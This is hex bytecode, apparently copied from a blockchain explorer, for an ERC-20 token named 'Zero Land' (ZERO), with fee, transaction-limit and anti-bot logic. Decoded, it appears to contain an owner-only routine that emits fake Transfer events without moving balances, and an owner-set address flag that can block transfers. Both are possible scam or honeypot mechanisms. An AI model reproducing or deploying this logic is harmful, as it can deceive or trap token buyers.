ffffffffffffffffffff16610f2b61124f565b73ffffffffffffffffffffffffffffffffffffffff1614610f4b57600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f9761124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90612d95565b60405180910390fd5b601760149054906101000a900460ff1615611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612f45565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661119461124f565b73ffffffffffffffffffffffffffffffffffffffff16146111b457600080fd5b60005b815181101561124a5760008282815181106111d5576111d4612cd2565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550818061124190612d01565b925050506111b7565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612fd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132c90613069565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114139190612675565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906130fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f59061318d565b60405180910390fd5b60008111611541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115389061321f565b60405180910390fd5b600061154b610d27565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b95750611589610d27565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b4d5760006007541180156115d1575060075443115b156115e0576115df846120e7565b5b61161d606461160f600c54600f5410156115fc57600854611600565b600a545b8561222f90919063ffffffff16565b6122a990919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116ca5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118915743600754036117c857600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b906132b1565b60405180910390fd5b6009600a6117729190612c45565b6301312d006117819190612c90565b8211156117c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ba9061331d565b60405180910390fd5b611890565b60115482111561180d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180490613389565b60405180910390fd5b6012548261181a85610b5f565b61182491906133a9565b1115611865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185c90613429565b60405180910390fd5b43600160075461187591906133a9565b111561188f57611884836122f3565b1561188e57600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119395750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611997576012548261194b85610b5f565b61195591906133a9565b1115611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d90613429565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a2057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6457611a616064611a53600d54600f5411611a4057600954611a44565b600b545b8561222f90919063ffffffff16565b6122a990919063ffffffff16565b90505b6000611a6f30610b5f565b9050601760159054906101000a900460ff16158015611adb5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611af35750601760169054906101000a900460ff165b8015611b00575060135481115b8015611b0f5750600e54600f54115b15611b4b57611b31611b2c84611b2784601454612306565b612306565b611e6e565b60004790506000811115611b4957611b484761231f565b5b505b505b6000811115611c5157611ba881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c489190612675565b60405180910390a35b611ca382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4a611cfc82846123e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611def84866123e990919063ffffffff16565b604051611dfc9190612675565b60405180910390a350505050565b6000838311158290611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e499190612526565b60405180910390fd5b5060008385611e619190613449565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea657611ea5612949565b5b604051908082528060200260200182016040528015611ed45781602001602082028036833780820191505090505b5090503081600081518110611eec57611eeb612cd2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb79190613492565b81600181518110611fcb57611fca612cd2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611257565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120969594939291906135b8565b600060405180830381600087803b1580156120b057600080fd5b505af11580156120c4573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120f59190612c45565b6402540be4006121059190612c90565b6011819055506009600a6121199190612c45565b6402540be4006121299190612c90565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121d857600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121d757600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6122079190612c45565b6402540be4006122179190612c90565b6040516122249190612675565b60405180910390a150565b600080830361224157600090506122a3565b6000828461224f9190612c90565b905082848261225e9190613641565b1461229e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612295906136e4565b60405180910390fd5b809150505b92915050565b60006122eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612433565b905092915050565b600080823b905060008111915050919050565b60008183116123155782612317565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612387573d6000803e3d6000fd5b5050565b600080828461239a91906133a9565b9050838110156123df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d690613750565b60405180910390fd5b8091505092915050565b600061242b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e0a565b905092915050565b6000808311829061247a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124719190612526565b60405180910390fd5b50600083856124899190613641565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124d05780820151818401526020810190506124b5565b60008484015250505050565b6000601f19601f8301169050919050565b60006124f882612496565b61250281856124a1565b93506125128185602086016124b2565b61251b816124dc565b840191505092915050565b6000602082019050818103600083015261254081846124ed565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125878261255c565b9050919050565b6125978161257c565b81146125a257600080fd5b50565b6000813590506125b48161258e565b92915050565b6000819050919050565b6125cd816125ba565b81146125d857600080fd5b50565b6000813590506125ea816125c4565b92915050565b6000806040838503121561260757612606612552565b5b6000612615858286016125a5565b9250506020612626858286016125db565b9150509250929050565b60008115159050919050565b61264581612630565b82525050565b6000602082019050612660600083018461263c565b92915050565b61266f816125ba565b82525050565b600060208201905061268a6000830184612666565b92915050565b6000806000606084860312156126a9576126a8612552565b5b60006126b7868287016125a5565b93505060206126c8868287016125a5565b92505060406126d9868287016125db565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612708576127076126e3565b5b8235905067ffffffffffffffff811115612725576127246126e8565b5b602083019150836020820283011115612741576127406126ed565b5b9250929050565b60008060006040848603121561276157612760612552565b5b600084013567ffffffffffffffff81111561277f5761277e612557565b5b61278b868287016126f2565b9350935050602061279e868287016125db565b9150509250925092565b600060ff82169050919050565b6127be816127a8565b82525050565b60006020820190506127d960008301846127b5565b92915050565b6000602082840312156127f5576127f4612552565b5b6000612803848285016125a5565b91505092915050565b6000819050919050565b600061283161282c6128278461255c565b61280c565b61255c565b9050919050565b600061284382612816565b9050919050565b600061285582612838565b9050919050565b6128658161284a565b82525050565b6000602082019050612880600083018461285c565b92915050565b61288f8161257c565b82525050565b60006020820190506128aa6000830184612886565b92915050565b6000602082840312156128c6576128c5612552565b5b60006128d4848285016125db565b91505092915050565b600080604083850312156128f4576128f3612552565b5b6000612902858286016125a5565b9250506020612913858286016125a5565b9150509250929050565b61292681612630565b811461293157600080fd5b50565b6000813590506129438161291d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612981826124dc565b810181811067ffffffffffffffff821117156129a05761299f612949565b5b80604052505050565b60006129b3612548565b90506129bf8282612978565b919050565b600067ffffffffffffffff8211156129df576129de612949565b5b602082029050602081019050919050565b6000612a036129fe846129c4565b6129a9565b90508083825260208201905060208402830185811115612a2657612a256126ed565b5b835b81811015612a4f5780612a3b88826125a5565b845260208401935050602081019050612a28565b5050509392505050565b600082601f830112612a6e57612a6d6126e3565b5b8135612a7e8482602086016129f0565b91505092915050565b60008060408385031215612a9e57612a9d612552565b5b6000612aac85828601612934565b925050602083013567ffffffffffffffff811115612acd57612acc612557565b5b612ad985828601612a59565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b6957808604811115612b4557612b44612ae3565b5b6001851615612b545780820291505b8081029050612b6285612b12565b9450612b29565b94509492505050565b600082612b825760019050612c3e565b81612b905760009050612c3e565b8160018114612ba65760028114612bb057612bdf565b6001915050612c3e565b60ff841115612bc257612bc1612ae3565b5b8360020a915084821115612bd957612bd8612ae3565b5b50612c3e565b5060208310610133831016604e8410600b8410161715612c145782820a905083811115612c0f57612c0e612ae3565b5b612c3e565b612c218484846001612b1f565b92509050818404811115612c3857612c37612ae3565b5b81810290505b9392505050565b6000612c50826125ba565b9150612c5b836127a8565b9250612c887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b72565b905092915050565b6000612c9b826125ba565b9150612ca6836125ba565b9250828202612cb4816125ba565b91508282048414831517612ccb57612cca612ae3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d0c826125ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3e57612d3d612ae3565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d7f6020836124a1565b9150612d8a82612d49565b602082019050919050565b60006020820190508181036000830152612dae81612d72565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612deb601f836124a1565b9150612df682612db5565b602082019050919050565b60006020820190508181036000830152612e1a81612dde565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e57601b836124a1565b9150612e6282612e21565b602082019050919050565b60006020820190508181036000830152612e8681612e4a565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ec3600c836124a1565b9150612ece82612e8d565b602082019050919050565b60006020820190508181036000830152612ef281612eb6565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f2f6017836124a1565b9150612f3a82612ef9565b602082019050919050565b60006020820190508181036000830152612f5e81612f22565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fc16024836124a1565b9150612fcc82612f65565b604082019050919050565b60006020820190508181036000830152612ff081612fb4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130536022836124a1565b915061305e82612ff7565b604082019050919050565b6000602082019050818103600083015261308281613046565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e56025836124a1565b91506130f082613089565b604082019050919050565b60006020820190508181036000830152613114816130d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131776023836124a1565b91506131828261311b565b604082019050919050565b600060208201905081810360008301526131a68161316a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132096029836124a1565b9150613214826131ad565b604082019050919050565b60006020820190508181036000830152613238816131fc565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b600061329b602b836124a1565b91506132a68261323f565b604082019050919050565b600060208201905081810360008301526132ca8161328e565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613307601a836124a1565b9150613312826132d1565b602082019050919050565b60006020820190508181036000830152613336816132fa565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b60006133736018836124a1565b915061337e8261333d565b602082019050919050565b600060208201905081810360008301526133a281613366565b9050919050565b60006133b4826125ba565b91506133bf836125ba565b92508282019050808211156133d7576133d6612ae3565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613413601a836124a1565b915061341e826133dd565b602082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b6000613454826125ba565b915061345f836125ba565b925082820390508181111561347757613476612ae3565b5b92915050565b60008151905061348c8161258e565b92915050565b6000602082840312156134a8576134a7612552565b5b60006134b68482850161347d565b91505092915050565b6000819050919050565b60006134e46134df6134da846134bf565b61280c565b6125ba565b9050919050565b6134f4816134c9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61352f8161257c565b82525050565b60006135418383613526565b60208301905092915050565b6000602082019050919050565b6000613565826134fa565b61356f8185613505565b935061357a83613516565b8060005b838110156135ab5781516135928882613535565b975061359d8361354d565b92505060018101905061357e565b5085935050505092915050565b600060a0820190506135cd6000830188612666565b6135da60208301876134eb565b81810360408301526135ec818661355a565b90506135fb6060830185612886565b6136086080830184612666565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061364c826125ba565b9150613657836125ba565b92508261366757613666613612565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136ce6021836124a1565b91506136d982613672565b604082019050919050565b600060208201905081810360008301526136fd816136c1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061373a601b836124a1565b915061374582613704565b602082019050919050565b600060208201905081810360008301526137698161372d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203af33b822f53607c0dd3ea054f22a2dd4bbd9033252c566d107d72f1278a811f64736f6c6343000813003300000000000000000000000077e5a0156f1657599ed9940f054069ac8b9bd30c

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063baeb7a7d11610095578063dd62ed3e11610064578063dd62ed3e1461061d578063e1b192581461065a578063ffb54a9914610685578063ffd08929146106b0576101cd565b8063baeb7a7d14610587578063bf474bed146105b2578063c2b7bbb6146105dd578063c9567bf914610606576101cd565b80638f9a55c0116100d15780638f9a55c0146104cb57806395d89b41146104f6578063a9059cbb14610521578063b70143c91461055e576101cd565b80637d1db4a51461044a5780638bdb2afa146104755780638da5cb5b146104a0576101cd565b80633b7cdccd11610164578063418c2fc31161013e578063418c2fc31461038e57806353868490146103cb57806370a08231146103f6578063715018a614610433576101cd565b80633b7cdccd146103215780633ccfd60b1461034c5780633ef9472114610363576101cd565b806318160ddd116101a057806318160ddd1461026557806323b872dd1461029057806326ededb8146102cd578063313ce567146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630faee56f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f49190612526565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906125f0565b610716565b604051610231919061264b565b60405180910390f35b34801561024657600080fd5b5061024f610734565b60405161025c9190612675565b60405180910390f35b34801561027157600080fd5b5061027a61073a565b6040516102879190612675565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612690565b61075f565b6040516102c4919061264b565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612748565b610838565b005b34801561030257600080fd5b5061030b61096e565b60405161031891906127c4565b60405180910390f35b34801561032d57600080fd5b50610336610977565b6040516103439190612675565b60405180910390f35b34801561035857600080fd5b5061036161097d565b005b34801561036f57600080fd5b50610378610afb565b6040516103859190612675565b60405180910390f35b34801561039a57600080fd5b506103b560048036038101906103b091906127df565b610b01565b6040516103c2919061264b565b60405180910390f35b3480156103d757600080fd5b506103e0610b57565b6040516103ed9190612675565b60405180910390f35b34801561040257600080fd5b5061041d600480360381019061041891906127df565b610b5f565b60405161042a9190612675565b60405180910390f35b34801561043f57600080fd5b50610448610ba8565b005b34801561045657600080fd5b5061045f610cfb565b60405161046c9190612675565b60405180910390f35b34801561048157600080fd5b5061048a610d01565b604051610497919061286b565b60405180910390f35b3480156104ac57600080fd5b506104b5610d27565b6040516104c29190612895565b60405180910390f35b3480156104d757600080fd5b506104e0610d50565b6040516104ed9190612675565b60405180910390f35b34801561050257600080fd5b5061050b610d56565b6040516105189190612526565b60405180910390f35b34801561052d57600080fd5b50610548600480360381019061054391906125f0565b610d93565b604051610555919061264b565b60405180910390f35b34801561056a57600080fd5b50610585600480360381019061058091906128b0565b610db1565b005b34801561059357600080fd5b5061059c610ede565b6040516105a99190612675565b60405180910390f35b3480156105be57600080fd5b506105c7610ee4565b6040516105d49190612675565b60405180910390f35b3480156105e957600080fd5b5061060460048036038101906105ff91906127df565b610eea565b005b34801561061257600080fd5b5061061b610f8f565b005b34801561062957600080fd5b50610644600480360381019061063f91906128dd565b6110b3565b6040516106519190612675565b60405180910390f35b34801561066657600080fd5b5061066f61113a565b60405161067c9190612675565b60405180910390f35b34801561069157600080fd5b5061069a611140565b6040516106a7919061264b565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190612a87565b611153565b005b60606040518060400160405280600981526020017f5a65726f204c616e640000000000000000000000000000000000000000000000815250905090565b600061072a61072361124f565b8484611257565b6001905092915050565b60145481565b60006009600a61074a9190612c45565b6402540be40061075a9190612c90565b905090565b600061076c848484611420565b61082d8461077861124f565b6108288560405180606001604052806028815260200161377160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107de61124f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0a9092919063ffffffff16565b611257565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087961124f565b73ffffffffffffffffffffffffffffffffffffffff161461089957600080fd5b60005b83839050811015610968578383828181106108ba576108b9612cd2565b5b90506020020160208101906108cf91906127df565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094d9190612675565b60405180910390a3808061096090612d01565b91505061089c565b50505050565b60006009905090565b60085481565b61098561124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612d95565b60405180910390fd5b601760149054906101000a900460ff1615610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990612e01565b60405180910390fd5b600047905060008111610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190612e6d565b60405180910390fd5b610ab2610d27565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610af7573d6000803e3d6000fd5b5050565b600b5481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60005a905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bb061124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490612d95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600481526020017f5a45524f00000000000000000000000000000000000000000000000000000000815250905090565b6000610da7610da061124f565b8484611420565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df261124f565b73ffffffffffffffffffffffffffffffffffffffff1614610e1257600080fd5b610e1b30610b5f565b8111158015610e2a5750600081115b610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090612ed9565b60405180910390fd5b610e7281611e6e565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610eda573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f2b61124f565b73ffffffffffffffffffffffffffffffffffffffff1614610f4b57600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f9761124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90612d95565b60405180910390fd5b601760149054906101000a900460ff1615611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90612f45565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661119461124f565b73ffffffffffffffffffffffffffffffffffffffff16146111b457600080fd5b60005b815181101561124a5760008282815181106111d5576111d4612cd2565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550818061124190612d01565b925050506111b7565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612fd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132c90613069565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114139190612675565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361148f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611486906130fb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f59061318d565b60405180910390fd5b60008111611541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115389061321f565b60405180910390fd5b600061154b610d27565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b95750611589610d27565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b4d5760006007541180156115d1575060075443115b156115e0576115df846120e7565b5b61161d606461160f600c54600f5410156115fc57600854611600565b600a545b8561222f90919063ffffffff16565b6122a990919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116ca5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118915743600754036117c857600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611764576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175b906132b1565b60405180910390fd5b6009600a6117729190612c45565b6301312d006117819190612c90565b8211156117c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ba9061331d565b60405180910390fd5b611890565b60115482111561180d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180490613389565b60405180910390fd5b6012548261181a85610b5f565b61182491906133a9565b1115611865576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185c90613429565b60405180910390fd5b